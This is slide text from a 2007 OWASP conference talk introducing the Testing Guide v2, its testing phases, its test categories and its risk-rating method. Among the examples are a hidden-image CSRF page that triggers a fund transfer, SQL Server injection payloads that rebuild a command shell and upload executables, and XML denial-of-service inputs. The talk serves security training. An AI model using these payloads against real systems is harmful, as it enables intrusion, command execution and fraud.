The new OWASP Testing Guide

Matteo Meucci
Alberto Revelli
EUSecWest07
March 1st, 2007 London

Copyright 2007 - The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License.

The OWASP Foundation

[Link]

Agenda:
OWASP Projects The new Testing Guide: goals and deliverables The OWASP Testing Framework The Testing Methodology: how to test The reporting: how to evaluate the risk and write a report How the Guide will be useful to the web security industry Q&A

EUSecWest 07

OWASP

Introduction Who are we ?

Matteo Meucci

INS Consultant ([Link]), CISSP, CISA 6+ years on Information Security focusing on Application Security OWASP Italy founder and Chair OWASP Testing Guide lead 2007
Alberto Revelli

Consultant for Spike Reply ([Link]) 5+ years of full-time penetration testing Developer of sqlninja Technical Director of the Italian chapter of OWASP
OWASP
3

EUSecWest 07

The Open Web Application Security Project (OWASP) is dedicated to finding and fighting the causes of insecure software. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work. Participation in OWASP is free and open to all. Everything here is free and open source. Main objectives: producing tools, standards and documentations related to Web Application Security. Thousands active members, 82 local chapters in the world

Millions of hits on [Link]

EUSecWest 07 OWASP
4

BuildingGuide CLASP Ajax Orizon .NET, Java Yours! Testing Guide WebScarab Validation Certification

Top 10

Training
Conferences WebGoat Building our brand

Chapters
Project incubator Wiki portal Forums Blogs

EUSecWest 07

OWASP

What Is the OWASP Testing Guide?

Free and open

EUSecWest 07

OWASP

What Is the OWASP Testing Guide? A puzzle piece

Tools Honeycomb
Threat Agents Business Impacts
Business Impact

Testing Guide

Vulnerabilities
Vulnerability

Code Review Guide

System Impacts
Asset

Countermeasures
Countermeasure

Attacks
Attack

Building Guide

EUSecWest 07

OWASP

OWASP Testing Guide v2: Goals Review all the documentation on testing: July 14, 2004
"OWASP Web Application Penetration Checklist", Version 1.1

December 2004
"The OWASP Testing Guide", Version 1.0

Create a complete new project focused on Web Application Penetration Testing Create a reference for application testing
Describe the OWASP methodology

EUSecWest 07

OWASP

OWASP Testing Guide v2: Action Plan

Oct 2006:
Collect all old docs Brainstorming for the Index and template Involve major world experts on this field:

* Vicente Aguilera * Mauro Bregolin * Tom Brennan * Gary Burns * Luca Carettoni * Dan Cornell * Mark Curphey * Daniel Cuthbert * Sebastien Deleersnyder * Stephen DeVries * Stefano Di Paola

* David Endler * Giorgio Fedon * Javier Fernndez-Sanguino * Glyn Geoghegan * Stan Guzik * Madhura Halasgikar * Eoin Keary * David Litchfield * Andrea Lombardini * Ralph M. Los * Claudio Merloni

* Matteo Meucci * Marco Morana * Laura Nunez * Gunter Ollmann * Antonio Parata * Yiannis Pavlosoglou * Carlo Pelliccioni * Harinath Pudipeddi * Alberto Revelli * Mark Roxberry * Tom Ryan

* Anush Shetty * Larry Shields * Dafydd Studdard * Andrew van der Stock * Ariel Waissbein * Jeff Williams

EUSecWest 07

OWASP

OWASP Testing Guide v2: Action Plan (2) Nov 2006:

Write articles using our Wiki model Review articles

Dec 2006:
Review all the Guide Write the Guide in doc format

Jan 2007:
OWASP Testing Guide Release Candidate 1: 272 pages, 46 tests Feedback and review

Feb 2007:
OWASP Testing Guide v2 officially released

EUSecWest 07

OWASP

10

Testing Guide v2: Index

1. Frontispiece 2. Introduction

3. The OWASP Testing Framework

4. Web Application Penetration Testing 5. Writing Reports: value the real risk Appendix A: Testing Tools

Appendix B: Suggested Reading

Appendix C: Fuzz Vectors

EUSecWest 07

OWASP

11

The OWASP Testing Framework

The problem of insecure software: companies next challenge Why OWASP?
It's impossible to underestimate the importance of having this guide available in a completely free and open way Jeff Williams (OWASP Chair)

Principles of Testing: comparing the state of something against a set of criteria defined and complete.
We want security testing not be a black art

Testing Techniques:
Manual Inspections & Reviews Threat Modeling Code Review

Penetration Testing

EUSecWest 07

OWASP

12

The OWASP Testing Framework

Phase 1: Before Development Begins Before application development has started: Test to ensure that there is an adequate SDLC where security is inherent. Test to ensure that the appropriate policy and standards are in place for the development team. Develop Measurement and Metrics Criteria (Ensure Traceability)

EUSecWest 07

OWASP

13

The OWASP Testing Framework

Phase 2: During Definition and Design Before application development has started: Security Requirements Review:
User Management (password reset etc.), Authentication, Authorization, Data Confidentiality, Integrity, Accountability, Session Management,Transport Security, Privacy

Design an Architecture Review Create and Review UML Models

How the application works

Create and Review Threat Models

Develop realistic threat scenarios

EUSecWest 07

OWASP

14

The OWASP Testing Framework

Phase 3: During Development Code Walkthroughs:
high-level walkthrough of the code where the developers can explain the logic and flow.

Code Reviews:
Static code reviews validate the code against a set of checklists:
CIA Triad

OWASP Top10, OWASP Code Review

Sox, ISO 17799, etc

EUSecWest 07

OWASP

15

The OWASP Testing Framework

Phase 4: During Deployment Application Penetration Testing
Focus of this guide

Configuration Management Testing

The application penetration test should include the checking of how the infrastructure was deployed and secured.

Phase 5: Maintenance and Operations Conduct operational management reviews Conduct periodic health checks Ensure change verification

EUSecWest 07

OWASP

16

Web Application Penetration Testing

What is a Web Application Penetration Testing?
The process involves an active analysis of the application for any weaknesses, technical flaws or vulnerabilities

What is a vulnerability?
A weakness on a asset that makes a threat possible

Our approach in writing this guide

Open Collaborative

Defined testing methodology

Consistent Repeatable Under quality
EUSecWest 07 OWASP
17

Testing paragraph template

Brief Summary Describe in "natural language" what we want to test. The target of this section is non-technical people (e.g.: client executive) Description of the Issue Short Description of the Issue: Topic and Explanation Black Box testing and example
How to test for vulnerabilities: Result Expected: ... How to test for vulnerabilities: Result Expected: ... Whitepapers Tools

Gray Box testing and example

References

EUSecWest 07

OWASP

18

Black Box vs. Gray Box

Black Box

The penetration tester does not have any information about the structure of the application, its components and internals

Gray Box

The penetration tester has partial information about the application internals. E.g.: platform vendor, sessionID generation algorithm

White box testing, defined as complete knowledge of the application internals, is beyond the scope of the Testing Guide and is covered by the OWASP Code Review Project

EUSecWest 07

OWASP

19

Testing Model
We have split the set of tests in 8 sub-categories (for a total amount of 48 controls):
Information Gathering
Business logic testing Authentication Testing Session Management Testing

Data Validation Testing

Denial of Service Testing Web Services Testing AJAX Testing In the next slides we will look at a few examples of tests/attacks and at some real-world cases ....
EUSecWest 07 OWASP
20

Information Gathering
The first phase in security assessment is of course focused on collecting all the information about a target application. Using public tools it is possible to force the application to leak information by sending messages that reveal the versions and technologies used by the application Available techniques include: Raw HTTP Connections (netcat) The good ol' tools: nmap, amap, ... Web Spiders Search engines (Google Dorking) SSL fingerprinting File extensions handling Backups and unreferenced files

EUSecWest 07

OWASP

21

Information Gathering (cont.)

Application Fingerprint
Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use along the tests. Netcat is the tool of choice for this very well known technique
$ nc [Link] 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Mon, 16 Jun 2003 02:53:29 GMT Server: Apache/1.3.3 (Unix) (Red Hat/Linux) Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT ETag: "1813-49b-361b4df6" Accept-Ranges: bytes Content-Length: 1179 Connection: close Content-Type: text/html

...But what if the Server: header is obfuscated ?

EUSecWest 07

OWASP

22

Information Gathering (cont.)

Other hints can be found by sending the server a malformed request, for instance a GET / HTTP/3.0
HTTP/1.1 400 Bad Request Date: Sun, 15 Jun 2003 17:12: 37 GMT Server: obfuscated :P Connection: close Transfer: chunked Content-Type: text/HTML; charset=iso-8859-1

Apache 1.3.23

HTTP/1.1 505 HTTP Version Not Supported Server: obfuscated :P Date: Mon, 16 Jun 2003 06:04: 04 GMT Content-length: 140 Content-type: text/HTML Connection: close
HTTP/1.1 200 OK Server: obfuscated :P Content-Location: [Link] Date: Fri, 01 Jan 1999 20:14: 02 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT ETag: W/e0d362a4c335be1: ae1 Content-Length: 133

Netscape Enterprise 4.1

IIS 5.0

...But what if the application simply returns a generic error page ?

EUSecWest 07 OWASP
23

Information Gathering (cont.)

The good news is that each server has a favorite way to order headers ! Here are the results for some common web servers when responding to a HEAD / HTTP/1.0 command:
Apache 1.3.23 Date Server Last-Modified ETag Accept-Ranges Content-Length Connection: Content-Type IIS 5.0 Server Content-Location Date Content-Type Accept-Ranges Last-Modified ETag Content-Length Netscape Enterprise 4.1 SunONE 6.1 Server Server Date Date Content-Type Content-Length Last-Modified Content-Type Content-Length Last-Modified Accept-Ranges Connection

EUSecWest 07

OWASP

24

Business logic testing

In this phase, we look for flaws in the application business logic rather than in the technical implementation. Areas of testing include: Rules that express the business policy (such as channels, location, logistics, prices, and products) Workflows that are the ordered tasks of passing documents or data from one participant (a person or a software system) to another One of the most common results in this step of the analysis are flaws in the order of actions that a user has to follow: an attacker could perform them in a different order to get some sort of advantage

This step is the most difficult to perform with automated tools, as it requires the penetration tester to perfectly understand the business logic that is (or should be) implemented by the application

EUSecWest 07

OWASP

25

Business logic testing: example

FlawedPhone, a mobile phone operator, has launched a webmail+SMS service:

New customers, when buying a SIM card, can open a free, permanent webmail account with the [Link] domain The webmail account is preserved even if the customer transfers the SIM card to another telecom operator However, as long as the SIM card is registered to FlawedPhone, each time an email is received an SMS message is sent to the customer The SMS application checks that the target phone number is a legitimate customer from its own copy of the FlawedPhone customers list

Nice, but what about the list synchronization ?!

EUSecWest 07

OWASP

26

Business logic testing

FlawedPhone was soon targeted by a fraud attack
The attacker bought a new FlawedPhone SIM card The attacker immediately requested to transfer the SIM card to another mobile carrier, which credits 0.05 for each received SMS message When the SIM card was transferred to the new provider, the attacker then started sending thousands of emails to her FlawedPhone email account The attacker had a 6-8 hours window before the email+SMS application had its list updated and stopped delivering messages By that time, the attacker had ~50-100 in the card, and proceeded to sell it on eBay

All FlawedPhone systems worked as expected, and there were no bugs in the application code. Still, the logic was flawed.

EUSecWest 07

OWASP

27

Business logic testing: example

Blackjack @ [Link] ...sometime in 2005

Deal 2 cards The difference between t1 and t2 was enough to give the player an edge over the house

upcard == Ace ?

yes

no

hole == ten ?

yes

t1 Offer Insurance t1 != t2
EUSecWest 07

t2

OWASP

28

Authentication testing
Testing the authentication scheme means understanding how the application checks for users' identity and using that information to circumvent that mechanism and access the application without having the proper credentials

Tests include the following areas: Default or Guessable Accounts Brute-force Bypassing Authentication Directory Traversal / File Include Vulnerable Remember Password and Password Reset Logout and Browser Cache Management

EUSecWest 07

OWASP

29

Session management testing

Session management is a critical part of a security test, as every application has to deal with the fact that HTTP is by its nature a stateless protocol. Session Management broadly covers all controls on a user from authentication to leaving the application

Tests include the following areas: Analysis of the session management scheme Cookie and session token manipulation Exposed session variables Cross Site Request Forgery HTTP Exploiting

EUSecWest 07

OWASP

30

Example: Cross Site Request Forgery

Test if it is possible to force a user to submit an undesirable command to the application he/she is currently logged into Also known as Session Riding A quite old type of attack, whose impact has always been underestimated It relies on the fact that browsers automatically send information used to identify a specific session Applications that allow a user to perform some action without requiring some unpredictable parameter are likely to be vulnerable ...That means a lot of applications! All it takes is to trigger the victim to follow a link (e.g.: by visiting an attacker-controlled site) while he/she is logged into the application

EUSecWest 07

OWASP

31

Example: Cross Site Request Forgery (cont.)

[Link] is an online trading company [Link] uses an ber-paranoid triple-factor authentication scheme, but does not want to bother users with confirmations, since traders need to act fast! A simple website and some social engineering will do the job
<html> <title>I am a very evil HTML page... visit me ! :)</title> <body> .. <img src=[Link] width=0 height=0> ... </body> </html>

The link triggers a fund transfer

The image is not visible

EUSecWest 07

OWASP

32

Data validation testing

In this phase we test that all input is properly sanitized before being processed by the application, in order to avoid several classes of attacks
Cross site scripting Test that the application filters JavaScript code that might be executed by the victim in order to steal his/her cookier HTTP Methods and XST Test that the remote web server does not allow the TRACE HTTP method

SQL Injection Test that the application properly filters SQL code embedded in the user input
Other attacks based of faulty input validation... LDAP/XML/SMTP/OS injection Buffer overflows
EUSecWest 07 OWASP
33

Data validation testing: Sql injection against SQL Server 2000

The remote user has not administrative privileges ?
Select * from OPENROWSET ('SQLOLEDB','';'sa';'<pwd>', 'waitfor delay ''0:0:5'';select 1')

The xp_cmdshell procedure has been disabled ?

CREATE PROCEDURE our_cmdshell(@cmd varchar(255), @Wait int = 1) AS DECLARE @result int, @OLEResult int, @RunResult int, @ShellID int EXECUTE @OLEResult = sp_OACreate '[Link]', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OADestroy @ShellID return @result Original code by Antonin Foller
EUSecWest 07 OWASP

Data validation testing: Sql injection against SQL Server 2000

We want to upload executables but the firewall is really paranoid ?
1) Convert the executable in a [Link] script n [Link] r cx 6e00 f 0100 ffff 00 e 100 4d 5a 90 <snip>

2) Upload the script and call [Link] on it. Now we have uploaded an executable using only normal http request :)
[Link] t+>+[Link]';

....
[Link] scr'; [Link] +[Link]';
EUSecWest 07 OWASP

Denial of Service Testing

DoS are types of vulnerabilities within applications that can allow a malicious user to make certain functionality or sometimes the entire website unavailable. These problems are caused by bugs in the application, often resulting from malicious or unexpected user input Locking Customer Accounts User Specified Object Allocation User Input as a Loop Counter Writing User Provided Data to Disk Failure to Release Resources Storing too Much Data in Session Usually not performed in performed on production environments

EUSecWest 07

OWASP

36

Web Services Testing

The vulnerabilities are similar to other classical vulnerabilities such as SQL injection, information disclosure and leakage etc but web services also have unique XML/parser related vulnerabilities. WebScarab (available for free at [Link]) provides a plug-in specifically targeted to Web Services. It can be used to craft SOAP messages that contains malicious elements in order to test how the remote system validates input

EUSecWest 07

OWASP

37

Web Services Testing

XML Structural Testing
In this example, we see a snippet of XML code that violates the hierarchical structure of this language. A Web Service must be able to handle this kind of exceptions in a secure way
<?xml version="1.0" encoding="ISO-8859-1"?> <note id="666"> <to>OWASP <from>EOIN</from> <heading>I am Malformed </to> </heading> <body>Example of XML Structural Test</body> </note>

EUSecWest 07

OWASP

38

Web Services Testing (cont.)

XML Large payload
Another possible attack consists in sending to a Web Service a very large payload in an XML message. Such a message might deplete the resource of a DOM parser
<Envelope> <Header> <wsse:Security> <Hehehe>I am a Large String (1MB)</Hehehe> <Hehehe>I am a Large String (1MB)</Hehehe> <Hehehe>I am a Large String (1MB)</Hehehe> <Signature></Signature> </wsse:Security> </Header> <Body> <BuyCopy><ISBN>0098666891726</ISBN></BuyCopy> </Body></Envelope>

EUSecWest 07

OWASP

39

Web Services Testing (cont.)

Naughty SOAP attachments
Binary files, including executables and document types that can contain malware, can be posted using a web service in several ways
POST /Service/[Link] HTTP/1.1 Host: somehost Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: [Link] <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="[Link] xmlns:xsd="[Link] xmlns:soap="[Link] <soap:Body> <UploadFile xmlns="[Link] <filename>[Link]</filename> <type>pdf</type> <chunk>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</chunk> <first>true</first> </UploadFile> </soap:Body> </soap:Envelope>

EUSecWest 07

OWASP

40

AJAX Testing
AJAX (Asynchronous JavaScript and XML) is a web development technique used to create more interactive web applications. XMLHttpRequest object and JavaScript to make asynchronous requests for all communication with the server-side application. Main security issues: AJAX applications have a greater attack surface because a big share of the application logic is moved on the client side AJAX programmers seldom keep an eye on what is executed by the client and what is executed by the server Exposed internal functions of the application Client access to third-party resources with no built-in security and encoding mechanisms Failure to protect authentication information and sessions AJAX Bridging
EUSecWest 07 OWASP

41

AJAX Testing
While in traditional web applications it is very easy to enumerate the points of interaction between clients and servers, when testing AJAX pages things get a little bit more complicated, as server-side AJAX endpoints are not as easy or consistent to discover To enumerate endpoints, two approaches must be combined:
Look through HTML and Javascript (e.g: look for XmlHttpRequest objects) Use a proxy to monitor traffic Tools: OWASP Sprajax or Firebug add-on for Firefox

Then you can test it as described before (SQL Inj, etc..) ...and don't forget AJAX potential in prototype hijacking and resident XSS !

EUSecWest 07

OWASP

42

AJAX Testing (cont.)

EUSecWest 07

With firebug it is possible to efficiently inspect AJAX apps

OWASP

43

Testing Report: model

The OWASP Risk Rating Methodology
Estimate the severity of all of these risks to your business This is not universal risk rating system: vulnerability that is critical to one organization may not be very important to another

Simple approach to be tailored for every case

standard risk model: Risk = Likelihood * Impact

Step 1: identifying a risk You'll need to gather information about:

the the the the vulnerability involved threat agent involved attack they're using impact of a successful exploit on your business.

EUSecWest 07

OWASP

44

Testing Report: likelihood

Step 2: factors for estimating likelihood
Generally, identifying whether the likelihood is low, medium, or high is sufficient. Threat Agent Factors:
Skill level (0-9) Motive (0-9) Opportunity (0-9) Size (0-9)

Vulnerability Factors:
Ease of discovery (0-9) Ease of exploit (0-9) Awareness (0-9) Intrusion detection (0-9)
EUSecWest 07 OWASP
45

Testing Report: impact

Step 3: factors for estimating impact

Technical impact:
Loss Loss Loss Loss of of of of confidentiality (0-9) integrity (0-9) availability (0-9) accountability (0-9)

Business impact:
Financial damage (0-9) Reputation damage (0-9) Non-compliance (0-9) Privacy violation (0-9)

EUSecWest 07

OWASP

46

Testing Report: value the risk

Step 4: determining the severity of the risk

In the example above, the likelihood is MEDIUM, and the technical impact is HIGH, so from technical the overall severity is HIGH. But business impact is actually LOW, so the overall severity is best described as LOW as well.
EUSecWest 07 OWASP
47

Testing Report: decide what to fix

Step 5: Deciding What To Fix As a general rule, you should fix the most severe risks first. Some fix seems to be not justifiable based upon the cost of fixing the issue but may be reputation damage from the fraud that could cost the organization much more than implement a security control Step 6: Customizing Your Risk Rating Model Adding factors Customizing options Weighting factors

EUSecWest 07

OWASP

48

Writing Report
I. Executive Summary II. Technical Management Overview III Assessment Findings IV Toolbox

EUSecWest 07

OWASP

49

How the Guide will help the security industry

Pen-testers

A structured approach to the testing activities A checklist to be followed A learning and training tool A tool to understand web vulnerabilities and their impact A way to check the quality of the penetration tests they buy

Clients

More in general, the Guide aims to provide a pen-testing standard that creates a 'common ground' between the pen-testing industry and its client. This will raise the overall quality and understanding of this kind of activity and therefore the general level of security in our infrastructures

EUSecWest 07

OWASP

50

Whats next
You should adopt this guide in your organization
Continuously reprioritize OWASP Testing Guide next steps:
Continuously improve the Testing Guide: its a live document! Contribute to the new version Improve the client side testing

EUSecWest 07

OWASP

51

Thank you!

[Link] [Link] [Link]@[Link] r00t@[Link]

EUSecWest 07 OWASP
52